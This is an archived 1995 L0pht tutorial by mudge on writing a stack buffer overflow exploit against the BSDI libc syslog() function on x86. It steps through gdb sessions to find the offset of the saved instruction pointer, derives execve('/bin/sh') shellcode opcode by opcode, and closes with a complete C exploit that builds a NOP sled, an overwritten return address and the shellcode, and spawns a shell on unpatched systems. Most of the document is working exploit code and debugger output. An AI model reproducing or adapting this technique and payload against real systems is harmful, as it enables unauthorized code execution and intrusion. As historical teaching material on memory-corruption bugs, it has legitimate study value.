home *** CD-ROM | disk | FTP | other *** search
/ Black Crawling Systems Archive Release 1.0 / Black Crawling Systems Archive Release 1.0 (L0pht Heavy Industries, Inc.)(1997).ISO / advisories / how_to_write_a_buffer_overflow < prev    next >
Text File  |  1997-07-17  |  25KB  |  788 lines

  1.  
  2.  
  3. This is really rough, and some of it is not needed. I wrote this as
  4. a reminder note to myself as I really didn't want to look at any more
  5. AT&T assembly again for a while and was afraid I would forget what
  6. I had done. If you are an old assembly guru then you might scoff at
  7. some of this... oh well, it works and that's a hack in itself.
  8.  
  9. -by mudge@l0pht.com 10/20/95
  10.  
  11. test out the program (duh). 
  12.  
  13. --------syslog_test_1.c------------
  14.  
  15. #include <syslog.h>
  16.  
  17. char buffer[4028];
  18.  
  19. void main() {
  20.  
  21.    int i;
  22.  
  23.    for (i=0; i<=4028; i++)
  24.        buffer[i]='A';
  25.  
  26.    syslog(LOG_ERR, buffer);
  27. }
  28.  
  29. --------end syslog_test_1.c----------
  30.  
  31. Compile the program and run it. Make sure you include the symbol
  32. table for the debugger or not... depending upon how macho you feel today.
  33.  
  34. bash$ gcc -g buf.c -o buf
  35. bash$ buf
  36. Segmentation fault (core dumped)
  37.  
  38. The 'Segmentation fault (core dumped)' is what we wanted to see. This
  39. tells us there is definately an attempt to access some memory address
  40. that we shouldn't. If you do much in 'C' with pointers on a unix machine
  41. you have probably seen this (or Bus error) when pointing or dereferencing
  42. incorrectly.
  43.  
  44. Fire up gdb on the program (with or without the core file). Assuming you
  45. remove the core file (this way you can learn a bit about gdb), the
  46. steps would be as follows:
  47.  
  48.    bash$ gdb buf
  49.    (gdb) run
  50.    Starting program: /usr2/home/syslog/buf 
  51.  
  52.    Program received signal 11, Segmentation fault
  53.    0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
  54.  
  55. Ok, this is good. The 41's you see are the hex equivallent for the ascii
  56. character 'A'. We are definately going places where we shouldn't be.
  57.  
  58.    (gdb) info all-registers
  59.    eax            0xefbfd641       -272640447
  60.    ecx            0x00000000       0
  61.    edx            0xefbfd67c       -272640388
  62.    ebx            0xefbfe000       -272637952
  63.    esp            0xefbfd238       0xefbfd238
  64.    ebp            0xefbfde68       0xefbfde68
  65.    esi            0xefbfd684       -272640380
  66.    edi            0x0000cce8       52456
  67.    eip            0x00001273       0x1273
  68.    ps             0x00010212       66066
  69.    cs             0x0000001f       31
  70.    ss             0x00000027       39
  71.    ds             0x00000027       39
  72.    es             0x00000027       39
  73.    fs             0x00000027       39
  74.    gs             0x00000027       39
  75.  
  76. The gdb command 'info all-registers' shows the values in the current
  77. hardware registers. The one we are really interested in is 'eip'. On
  78. some platforms this will be called 'ip' or 'pc'. It is the Instruction
  79. Pointer [also called Program Counter]. It points to the memory location
  80. of the next instruction the processor will execute. By overwriting
  81. this you can point to the beginning of your own code and the 
  82. processor will merrily start executing it assuming you have it written
  83. as native opcodes and operands.
  84.  
  85. In the above we haven't gotten exactly where we need to be yet. If you want
  86. to see where it crashed out do the following:
  87.  
  88. (gdb) disassemble 0x1273
  89.    [stuff deleted]
  90.    0x1267 <vsyslog+331>:   incl   0xfffff3dc(%ebp)
  91.    0x126d <vsyslog+337>:   testb  %al,%al
  92.    0x126f <vsyslog+339>:   jne    0x125c <vsyslog+320>
  93.    0x1271 <vsyslog+341>:   jmp    0x1276 <vsyslog+346>
  94.    0x1273 <vsyslog+343>:   movb   %al,(%ebx)
  95.    0x1275 <vsyslog+345>:   incl   %ebx
  96.    0x1276 <vsyslog+346>:   incl   %edi
  97.    0x1277 <vsyslog+347>:   movb   (%edi),%al
  98.    0x1279 <vsyslog+349>:   testb  %al,%al
  99.  
  100. If you are familiar with microsoft assembler this will be a bit backwards
  101. to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
  102. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
  103. and on we go.
  104.  
  105. Note also that Intel assembler 
  106.  
  107. let's go back and tweak the original source code some eh?
  108.  
  109. -------------syslog_test_2.c-------------
  110.  
  111. #include <syslog.h>
  112.  
  113. char buffer[4028];
  114.  
  115. void main() {
  116.  
  117.    int i;
  118.  
  119.    for (i=0; i<2024; i++)
  120.        buffer[i]='A';
  121.  
  122.    syslog(LOG_ERR, buffer);
  123. }
  124.  
  125. -----------end syslog_test_2.c-------------
  126.  
  127. We're just shortening the length of 'A''s.
  128.  
  129.    bash$ gcc -g buf.c -o buf
  130.    bash$ gdb buf
  131.    (gdb) run
  132.    Starting program: /usr2/home/syslog/buf 
  133.  
  134.    Program received signal 5, Trace/BPT trap
  135.    0x1001 in ?? (Error accessing memory address 0x41414149: Cannot 
  136.     allocate memory.
  137.  
  138. This is the magic response we've been looking for.
  139.  
  140.    (gdb) info all-registers 
  141.    eax            0xffffffff       -1
  142.    ecx            0x00000000       0
  143.    edx            0x00000008       8
  144.    ebx            0xefbfdeb4       -272638284
  145.    esp            0xefbfde70       0xefbfde70
  146.    ebp            0x41414141       0x41414141   <- here it is!!!
  147.    esi            0xefbfdec0       -272638272
  148.    edi            0xefbfdeb8       -272638280
  149.    eip            0x00001001       0x1001
  150.    ps             0x00000246       582
  151.    cs             0x0000001f       31
  152.    ss             0x00000027       39
  153.    ds             0x00000027       39
  154.    es             0x00000027       39
  155.    fs             0x00000027       39
  156.    gs             0x00000027       39
  157.  
  158.  
  159. Now we move it along until we figure out where eip lives in the overflow 
  160. (which is right after ebp in this arch architecture). With that known fact 
  161. we only have to add 4 more bytes to our buffer of 'A''s and we will 
  162. overwrite eip completely.
  163.  
  164. ---------syslog_test_3.c----------------
  165.  
  166. #include <syslog.h>
  167.  
  168. char buffer[4028];
  169.  
  170. void main() {
  171.  
  172.    int i;
  173.  
  174.    for (i=0; i<2028; i++)
  175.        buffer[i]='A';
  176.  
  177.    syslog(LOG_ERR, buffer);
  178. }
  179. -------end syslog_test_3.c------------
  180.  
  181.    bash$ !gc
  182.    gcc -g buf.c -o buf
  183.    bash$ gdb buf
  184.    (gdb) run
  185.    Starting program: /usr2/home/syslog/buf 
  186.  
  187.    Program received signal 11, Segmentation fault
  188.    0x41414141 in errno (Error accessing memory address 
  189.                     0x41414149: Cannot allocate memory.
  190.  
  191.  
  192.    (gdb) info all-registers 
  193.    eax            0xffffffff       -1
  194.    ecx            0x00000000       0
  195.    edx            0x00000008       8
  196.    ebx            0xefbfdeb4       -272638284
  197.    esp            0xefbfde70       0xefbfde70
  198.    ebp            0x41414141       0x41414141
  199.    esi            0xefbfdec0       -272638272
  200.    edi            0xefbfdeb8       -272638280
  201.    eip            0x41414141       0x41414141
  202.    ps             0x00010246       66118
  203.    cs             0x0000001f       31
  204.    ss             0x00000027       39
  205.    ds             0x00000027       39
  206.    es             0x00000027       39
  207.    fs             0x00000027       39
  208.    gs             0x00000027       39
  209.  
  210. BINGO!!!
  211.  
  212. Here's where it starts to get interesting. Now that we know eip starts
  213. at buffer[2024] and goes through buffer[2027] we can load it up with
  214. whatever we need. The question is... what do we need?
  215.  
  216. We find this by looking at the contents of buffer[].
  217.  
  218.    (gdb) disassemble buffer
  219.    [stuff deleted]
  220.    0xc738 <buffer+2024>:   incl   %ecx
  221.    0xc739 <buffer+2025>:   incl   %ecx
  222.    0xc73a <buffer+2026>:   incl   %ecx
  223.    0xc73b <buffer+2027>:   incl   %ecx
  224.    0xc73c <buffer+2028>:   addb   %al,(%eax)
  225.    0xc73e <buffer+2030>:   addb   %al,(%eax)
  226.    0xc740 <buffer+2032>:   addb   %al,(%eax)
  227.    [stuff deleted]
  228.  
  229. On the Intel x86 architecture [a pentium here but that doesn't matter]
  230. incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0
  231. hex. We will load up buffer[2024] to buffer[2027] with the address of
  232. 0xc73c where we will start our code. You have two options here, one is
  233. to load the buffer up with the opcodes and operands and point the eip
  234. back into the buffer; the other option is what we are going to be doing
  235. which is to put the opcodes and operands after the eip and point to them.
  236.  
  237. The advantage to putting the code inside the buffer is that other than
  238. the ebp and eip registers you don't clobber anything else. The disadvantage
  239. is that you will need to do trickier coding (and actually write the
  240. assembly yourself) so that there are no bytes that contain 0x0 which will
  241. look like a null in the string. This will require you to know enough about
  242. the native chip architecture and opcodes to do this [easy enough for some
  243. people on Intel x86's but what happens when you run into an Alpha? -- lucky
  244. for us there is a gdb for Alpha I think ;-)].
  245.  
  246. The advantage to putting the code after the eip is that you don't have to
  247. worry about bytes containing 0x0 in them. This way you can write whatever
  248. program you want to execute in 'C' and have gdb generate most of the
  249. machine code for you. The disadvantage is that you are overwriting the
  250. great unknown. In most cases the section you start to overwrite here 
  251. contains your environment variables and other whatnots.... upon 
  252. succesfully running your created code you might be dropped back into
  253. a big void. Deal with it.
  254.  
  255. The safest instruction is NOP which is a benign no-operation.
  256. This is what you will probably be loading the buffer up with as filler. 
  257.  
  258. Ahhh but what if you don't know what the opcodes are for the particular
  259. architecture you are on. No problem. gcc has a wonderfull function called
  260. __asm__(char *); I rely upon this heavily for doing buffer overflows
  261. on architectures that I don't have assembler books for.
  262.  
  263. ------nop.c--------
  264. void main(){
  265.  
  266. __asm__("nop\n");
  267.  
  268. }
  269. ----end nop.c------
  270.  
  271.    bash$ gcc -g nop.c -o nop
  272.    bash$ gdb nop
  273.    (gdb) disassemble main
  274.    Dump of assembler code for function main:
  275.    to 0x1088:
  276.    0x1080 <main>:  pushl  %ebp
  277.    0x1081 <main+1>:        movl   %esp,%ebp
  278.    0x1083 <main+3>:        nop    
  279.    0x1084 <main+4>:        leave  
  280.    0x1085 <main+5>:        ret    
  281.    0x1086 <main+6>:        addb   %al,(%eax)
  282.    End of assembler dump.
  283.    (gdb) x/bx 0x1083
  284.    0x1083 <main+3>:  0x90
  285.  
  286. Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
  287. nop only takes up one byte. Examining that byte shows us that it is
  288. 0x90 (hex).
  289.  
  290. Our program now looks like this:
  291.  
  292. ------ syslog_test_4.c---------
  293.  
  294. #include <syslog.h>
  295.  
  296. char buffer[4028];
  297.  
  298. void main() {
  299.  
  300.    int i;
  301.  
  302.    for (i=0; i<2024; i++)
  303.        buffer[i]=0x90;
  304.  
  305.    i=2024;
  306.  
  307.    buffer[i++]=0x3c;
  308.    buffer[i++]=0xc7;
  309.    buffer[i++]=0x00;
  310.    buffer[i++]=0x00;
  311.  
  312.  
  313.    syslog(LOG_ERR, buffer);
  314. }
  315. ------end syslog_test_4.c-------
  316.  
  317.  
  318. Notice you need to load the eip backwards ie 0000c73c is loaded into
  319. the buffer as 3c c7 00 00.
  320.  
  321. Now the question we have is what is the code we insert from here on?
  322.  
  323. Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as
  324. to why someone would want to do something like this, but I hear there
  325. are a lot of nasty people out there. Oh well. Here's the proggie we
  326. want to execute in C code:
  327.  
  328. ------execute.c--------
  329. #include <stdio.h>
  330. main()
  331. {
  332.    char *name[2];
  333.    name[0] = "sh";
  334.    name[1] = NULL;
  335.    execve("/bin/sh",name,NULL);
  336. }  
  337. ----end execute.c-------
  338.  
  339.    bash$ gcc -g execute.c -o execute
  340.    bash$ execute
  341.    $ 
  342.  
  343. Ok, the program works. Then again, if you couldn't whip up that
  344. little prog you should probably throw in the towel here. Maybe become
  345. a webmaster or something that requires little to no programming (or
  346. brainwave activity period). Here's the gdb scoop:
  347.  
  348.    bash$ gdb execute
  349.    (gdb) disassemble main
  350.    Dump of assembler code for function main:
  351.    to 0x10b8:
  352.    0x1088 <main>:  pushl  %ebp
  353.    0x1089 <main+1>:        movl   %esp,%ebp
  354.    0x108b <main+3>:        subl   $0x8,%esp
  355.    0x108e <main+6>:        movl   $0x1080,0xfffffff8(%ebp)
  356.    0x1095 <main+13>:       movl   $0x0,0xfffffffc(%ebp)
  357.    0x109c <main+20>:       pushl  $0x0
  358.    0x109e <main+22>:       leal   0xfffffff8(%ebp),%eax
  359.    0x10a1 <main+25>:       pushl  %eax
  360.    0x10a2 <main+26>:       pushl  $0x1083
  361.    0x10a7 <main+31>:       call   0x10b8 <execve>
  362.    0x10ac <main+36>:       leave  
  363.    0x10ad <main+37>:       ret    
  364.    0x10ae <main+38>:       addb   %al,(%eax)
  365.    0x10b0 <main+40>:       jmp    0x1140 <cerror>
  366.    0x10b5 <main+45>:       addb   %al,(%eax)
  367.    0x10b7 <main+47>:       addb   %cl,0x3b05(%ebp)
  368.    End of assembler dump.
  369.  
  370.    (gdb) disassemble execve
  371.    Dump of assembler code for function execve:
  372.    to 0x10c8:
  373.    0x10b8 <execve>:        leal   0x3b,%eax
  374.    0x10be <execve+6>:      lcall  0x7,0x0
  375.    0x10c5 <execve+13>:     jb     0x10b0 <main+40>
  376.    0x10c7 <execve+15>:     ret    
  377.    End of assembler dump.
  378.  
  379. This is the assembly behind what our execute program does to run /bin/sh.
  380. We use execve() as it is a system call and this is what we are going to
  381. have our program execute (ie let the kernel service run it as opposed
  382. to having to write it from scratch).
  383.  
  384. 0x1083 contains the /bin/sh string and is the last thing pushed onto the
  385. stack before the call to execve.
  386.  
  387.    (gdb) x/10bc 0x1083
  388.    0x1083 <mcount+3>:  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'  
  389.                        104 'h'  0 '\000'
  390.  
  391. (0x1080 contains the arguments...which I haven't been able to really
  392. clean up).
  393.  
  394. We will replace this address with the one where our string lives [when
  395. we decide where that will be].
  396.  
  397. Here's the skeleton we will use from the execve disassembly:
  398.  
  399. [main]
  400.    0x108d <main+1>:        movl   %esp,%ebp
  401.  
  402.    0x108e <main+6>:        movl   $0x1083,0xfffffff8(%ebp)
  403.    0x1095 <main+13>:       movl   $0x0,0xfffffffc(%ebp)
  404.    0x109c <main+20>:       pushl  $0x0
  405.    0x109e <main+22>:       leal   0xfffffff8(%ebp),%eax
  406.    0x10a1 <main+25>:       pushl  %eax
  407.    0x10a2 <main+26>:       pushl  $0x1080
  408.  
  409. [execve]
  410.    0x10b8 <execve>:        leal   0x3b,%eax
  411.    0x10be <execve+6>:      lcall  0x7,0x0
  412.  
  413. All you need to do from here is to build up a bit of an environment for
  414. the program. Some of this stuff isn't necesary but I have it in still
  415. as I haven't fine tuned this yet.
  416.  
  417. I clean up eax. I don't remember why I do this and it shouldn't
  418. really be necesarry. Hell, better quit hitting the sauce.
  419. I'll figure out if it is after I tune this up a bit.
  420.  
  421.    xorl   %eax,%eax
  422.  
  423. We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto 
  424. the stack.
  425.  
  426.    jmp    0x????  # this will jump to the call...
  427.    popl   %esi
  428.    popl   %ecx
  429.  
  430. The call back will be something like:
  431.  
  432.    call   0x????  # this will point to the instruction after the jmp (ie
  433.           # popl %esi)
  434.  
  435. All put together it looks like this now:
  436.  
  437. ----------------------------------------------------------------------
  438.    movl   %esp,%ebp   
  439.    xorl   %eax,%eax
  440.    jmp    0x????  # we don't know where yet...
  441. # -------------[main]
  442.    movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
  443.                     # be yet.
  444.    movl   $0x0,0xfffffffc(%ebp)
  445.    pushl  $0x0
  446.    leal   0xfffffff8(%ebp),%eax
  447.    pushl  %eax
  448.    pushl  $0x????            # we don't know what the address will
  449.                     # be yet.
  450. # ------------[execve]
  451.    leal   0x3b,%eax
  452.    lcall  0x7,0x0
  453.  
  454.    call   0x????  # we don't know where yet...
  455.  
  456. ----------------------------------------------------------------------
  457.  
  458. There are only a couple of more things that we need to add before we
  459. fill in the addresses to a couple of the instructions.
  460.  
  461. Since we aren't actually calling execve with a 'call' anymore here, we need 
  462. to push the value in ecx onto the stack to simulate it.
  463. # ------------[execve]
  464.    pushl  %ecx
  465.    leal   0x3b,%eax
  466.    lcall  0x7,0x0
  467.  
  468. The only other thing is to not pass in the arguments to /bin/sh. We do
  469. this by changing the  ' leal   0xfffffff8(%ebp),%eax' to
  470. ' leal   0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
  471.  
  472. So the whole thing looks like this (without knowing the addresses for
  473. the '/bin/sh\0' string):
  474.  
  475.    movl   %esp,%ebp 
  476.    xorl   %eax,%eax # we added this
  477.    jmp    0x????    # we added this
  478.    popl   %esi      # we added this
  479.    popl   %ecx      # we added this
  480.    movl   $0x????,0xfffffff5(%ebp)
  481.    movl   $0x0,0xfffffffc(%ebp)
  482.    pushl  $0x0
  483.    leal   0xfffffffc(%ebp),%eax  # we changed this
  484.    pushl  %eax
  485.    pushl  $0x????
  486.    leal   0x3b,%eax
  487.    pushl  %ecx       # we added this
  488.    lcall  0x7,0x0
  489.    call   0x????     # we added this
  490.  
  491. To figure out the bytes to load up our buffer with for the parts that
  492. were already there run gdb on the execute program.
  493.  
  494.    bash$ gdb execute
  495.    (gdb) disassemble main
  496.    Dump of assembler code for function main:
  497.    to 0x10bc:
  498.    0x108c <main>:  pushl  %ebp
  499.    0x108d <main+1>:        movl   %esp,%ebp
  500.    0x108f <main+3>:        subl   $0x8,%esp
  501.    0x1092 <main+6>:        movl   $0x1080,0xfffffff8(%ebp)
  502.    0x1099 <main+13>:       movl   $0x0,0xfffffffc(%ebp)
  503.    0x10a0 <main+20>:       pushl  $0x0
  504.    0x10a2 <main+22>:       leal   0xfffffff8(%ebp),%eax
  505.    0x10a5 <main+25>:       pushl  %eax
  506.    0x10a6 <main+26>:       pushl  $0x1083
  507.    0x10ab <main+31>:       call   0x10bc <execve>
  508.    0x10b0 <main+36>:       leave  
  509.    0x10b1 <main+37>:       ret    
  510.    0x10b2 <main+38>:       addb   %al,(%eax)
  511.    0x10b4 <main+40>:       jmp    0x1144 <cerror>
  512.    0x10b9 <main+45>:       addb   %al,(%eax)
  513.    0x10bb <main+47>:       addb   %cl,0x3b05(%ebp)
  514.    End of assembler dump.
  515.  
  516. [get out your scratch paper for this one... ]
  517.  
  518.    0x108d <main+1>:        movl   %esp,%ebp
  519.    this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
  520.    thus we can see the machine code with gdb like this.
  521.  
  522.    (gdb) x/2bx 0x108d
  523.    0x108d <main+1>:  0x89  0xe5
  524.  
  525. Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
  526. of the instructions that we are pulling out of the execute program. 
  527. You can figure out the basic structure for the call command by looking at
  528. the one inexecute that calls execve. Of course you will eventually need
  529. to put in the proper address.
  530.  
  531. When I work this out I break down the whole program so I can see what's
  532. going on. Something like the following
  533.  
  534.    0x108c <main>:  pushl  %ebp
  535.    0x108d <main+1>:        movl   %esp,%ebp
  536.    0x108f <main+3>:        subl   $0x8,%esp
  537.  
  538.    (gdb) x/bx 0x108c
  539.    0x108c <main>:  0x55
  540.    (gdb) x/bx 0x108d
  541.    0x108d <main+1>:  0x89
  542.    (gdb) x/bx 0x108e
  543.    0x108e <main+2>:  0xe5
  544.    (gdb) x/bx 0x108e
  545.    0x108f <main+3>:  0x83
  546.  
  547.    so we see the following from this:
  548.  
  549.    0x55        pushl %ebp
  550.  
  551.    0x89        movl %esp,%ebp
  552.    0xe5
  553.  
  554.    0x83        subl $0x8,%esp
  555.  
  556.    etc. etc. etc. 
  557.  
  558. For commands that you don't know the opcodes to you can find them out
  559. for the particular chip you are on by writing little scratch programs.
  560.  
  561. ----pop.c-------
  562. void main() {
  563.  
  564. __asm__("popl %esi\n");
  565.  
  566. }
  567. ---end pop.c----
  568.  
  569.    bash$ gcc -g pop.c -o pop
  570.    bash$ gdb pop
  571.    (gdb) disassemble main 
  572.    Dump of assembler code for function main:
  573.    to 0x1088:
  574.    0x1080 <main>:  pushl  %ebp
  575.    0x1081 <main+1>:        movl   %esp,%ebp
  576.    0x1083 <main+3>:        popl   %esi
  577.    0x1084 <main+4>:        leave  
  578.    0x1085 <main+5>:        ret    
  579.    0x1086 <main+6>:        addb   %al,(%eax)
  580.    End of assembler dump.
  581.    (gdb) x/bx 0x1083
  582.    0x1083 <main+3>:  0x5e
  583.  
  584. So, 0x5e is popl %esi. You get the idea.
  585.  
  586. After you have gotten this far build the string up (put in bogus addresses
  587. for the ones you don't know in the jmp's and call's... just so long
  588. as we have the right amount of space being taken up by the jmp and
  589. call instructions... likewise for the movl's where we will need to know
  590. the memory location of 'sh\0\0/bin/sh\0'.
  591.  
  592. After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.
  593.  
  594. Compile the program and load it into gdb. Before you run it in gdb
  595. set a break point for the syslog call.
  596.  
  597.    (gdb) break syslog
  598.    Breakpoint 1 at 0x1463
  599.    (gdb) run
  600.    Starting program: /usr2/home/syslog/buf
  601.  
  602.    Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 
  603.             0xefbfdeac)
  604.    (gdb) disassemble 0xc73c 0xc77f   
  605.         (we know it will start at 0xc73c since thats right after the
  606.      eip overflow... 0xc77f is just an educated guess as to where
  607.          it will end)
  608.  
  609.    (gdb) disassemble 0xc73c 0xc77f
  610.    Dump of assembler code from 0xc73c to 0xc77f:
  611.    0xc73c <buffer+2028>:   movl   %esp,%ebp
  612.    0xc73e <buffer+2030>:   xorl   %eax,%eax
  613.    0xc740 <buffer+2032>:   jmp    0xc76b <buffer+2075>
  614.    0xc742 <buffer+2034>:   popl   %esi
  615.    0xc743 <buffer+2035>:   popl   %ecx
  616.    0xc744 <buffer+2036>:   movl   $0xc770,0xfffffff5(%ebp)
  617.    0xc74b <buffer+2043>:   movl   $0x0,0xfffffffc(%ebp)
  618.    0xc752 <buffer+2050>:   pushl  $0x0
  619.    0xc754 <buffer+2052>:   leal   0xfffffffc(%ebp),%eax
  620.    0xc757 <buffer+2055>:   pushl  %eax
  621.    0xc758 <buffer+2056>:   pushl  $0xc773
  622.    0xc75d <buffer+2061>:   leal   0x3b,%eax
  623.    0xc763 <buffer+2067>:   pushl  %ecx
  624.    0xc764 <buffer+2068>:   lcall  0x7,0x0
  625.    0xc76b <buffer+2075>:   call   0xc742 <buffer+2034>
  626.    0xc770 <buffer+2080>:   jae    0xc7da <buffer+2186>
  627.    0xc772 <buffer+2082>:   addb   %ch,(%edi)
  628.    0xc774 <buffer+2084>:   boundl 0x6e(%ecx),%ebp
  629.    0xc777 <buffer+2087>:   das    
  630.    0xc778 <buffer+2088>:   jae    0xc7e2 <buffer+2194>
  631.    0xc77a <buffer+2090>:   addb   %al,(%eax)
  632.    0xc77c <buffer+2092>:   addb   %al,(%eax)
  633.    0xc77e <buffer+2094>:   addb   %al,(%eax)
  634.    End of assembler dump.
  635.  
  636. Look for the last instruction in your code. In this case it was the 'call'
  637. to right after the 'jmp' near the beginning. Our data should be right
  638. after it and indeed we see that it is.
  639.  
  640.    (gdb) x/13bc 0xc770
  641.    0xc770 <buffer+2080>:  115 's'  104 'h'  0 '\000'  47 '/'  
  642.               98 'b'  105 'i'  110 'n'  47 '/'
  643.    0xc778 <buffer+2088>:  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
  644.  
  645. Now go back into your code and put the appropriate addresses in the movl
  646. and pushl. At this point you should also be able to put in the appropriate
  647. operands for the jmp and call. Congrats... you are done. Here's what 
  648. the output will look like when you run this on a system with the non
  649. patched libc/syslog bug.
  650.  
  651.    bash$ buf
  652.    $ exit (do whatever here... you spawned a shell!!!!!! yay!)
  653.    bash$ 
  654.  
  655. Here's my original program with lot's of comments:
  656.  
  657. /*****************************************************************/
  658. /* For BSDI running on Intel architecture -mudge, 10/19/95       */
  659. /* by following the above document you should be able to write   */
  660. /* buffer overflows for other OS's on other architectures now    */
  661. /* mudge@l0pht.com                                               */
  662. /*                                                               */
  663. /* note: I haven't cleaned this up yet... it could be much nicer */
  664. /*****************************************************************/
  665.  
  666. #include <syslog.h>
  667.  
  668. char buffer[4028];
  669.  
  670. void main () {
  671.  
  672.    int i;
  673.  
  674.   for(i=0; i<2024; i++)
  675.     buffer[i]=0x90;
  676.  
  677.  
  678.   /* should set eip to 0xc73c */
  679.  
  680.     buffer[2024]=0x3c;
  681.     buffer[2025]=0xc7; 
  682.     buffer[2026]=0x00; 
  683.     buffer[2027]=0x00; 
  684.  
  685.   i=2028;
  686.  
  687. /* begin actuall program */
  688.  
  689.  
  690.     buffer[i++]=0x89; /* movl %esp, %ebp */
  691.     buffer[i++]=0xe5;
  692.  
  693.     buffer[i++]=0x33; /* xorl %eax,%eax */
  694.     buffer[i++]=0xc0;
  695.  
  696.     buffer[i++]=0xeb; /* jmp ahead  */
  697.     buffer[i++]=0x29;
  698.  
  699.     buffer[i++]=0x5e; /* popl %esi       */
  700.  
  701.     buffer[i++]=0x59; /* popl %ecx        */
  702.  
  703.     buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
  704.     buffer[i++]=0x45;
  705.     buffer[i++]=0xf5;
  706.     buffer[i++]=0x70;
  707.     buffer[i++]=0xc7;
  708.     buffer[i++]=0x00;
  709.     buffer[i++]=0x00;
  710.  
  711.     buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
  712.     buffer[i++]=0x45;
  713.     buffer[i++]=0xfc;
  714.     buffer[i++]=0x00;
  715.     buffer[i++]=0x00;
  716.     buffer[i++]=0x00;
  717.     buffer[i++]=0x00;
  718.  
  719.     buffer[i++]=0x6a; /* pushl $0x0 */
  720.     buffer[i++]=0x00;
  721.  
  722. #ifdef z_out
  723.     buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
  724.     buffer[i++]=0x45;
  725.     buffer[i++]=0xf8;
  726. #endif
  727.  
  728. /* the above is what the disassembly of execute does... but we only
  729.    want to push /bin/sh to be executed... it looks like this leal
  730.    puts into eax the address where the arguments are going to be
  731.    passed. By pointing to 0xfffffffc(%ebp) we point to a null 
  732.    and don't care about the args... could probably just load up
  733.    the first section movl $0x0,0xfffffff8(%ebp) with a null and
  734.    left this part the way it want's to be */
  735.  
  736.     buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
  737.     buffer[i++]=0x45; 
  738.     buffer[i++]=0xfc;
  739.  
  740.  
  741.     buffer[i++]=0x50; /* pushl %eax */
  742.  
  743.     buffer[i++]=0x68; /* pushl $0xc773 */
  744.     buffer[i++]=0x73;
  745.     buffer[i++]=0xc7;
  746.     buffer[i++]=0x00;
  747.     buffer[i++]=0x00;
  748.  
  749.     buffer[i++]=0x8d; /* lea 0x3b,%eax */
  750.     buffer[i++]=0x05;
  751.     buffer[i++]=0x3b;
  752.     buffer[i++]=0x00;
  753.     buffer[i++]=0x00;
  754.     buffer[i++]=0x00;
  755.  
  756.     buffer[i++]=0x51; /* pushl %ecx */
  757.  
  758.     buffer[i++]=0x9a; /* lcall 0x7,0x0 */
  759.     buffer[i++]=0x00;
  760.     buffer[i++]=0x00;
  761.     buffer[i++]=0x00;
  762.     buffer[i++]=0x00;
  763.     buffer[i++]=0x07;
  764.     buffer[i++]=0x00;
  765.  
  766.     buffer[i++]=0xe8; /* call back to ??? */
  767.     buffer[i++]=0xd2; 
  768.     buffer[i++]=0xff;
  769.     buffer[i++]=0xff;
  770.     buffer[i++]=0xff;
  771.  
  772.     buffer[i++]='s';
  773.     buffer[i++]='h';
  774.     buffer[i++]=0x00;
  775.     buffer[i++]='/';
  776.     buffer[i++]='b';
  777.     buffer[i++]='i';
  778.     buffer[i++]='n';
  779.     buffer[i++]='/';
  780.     buffer[i++]='s';
  781.     buffer[i++]='h';
  782.     buffer[i++]=0x00;
  783.     buffer[i++]=0x00;
  784.  
  785.     syslog(LOG_ERR, buffer);
  786. }
  787.  
  788.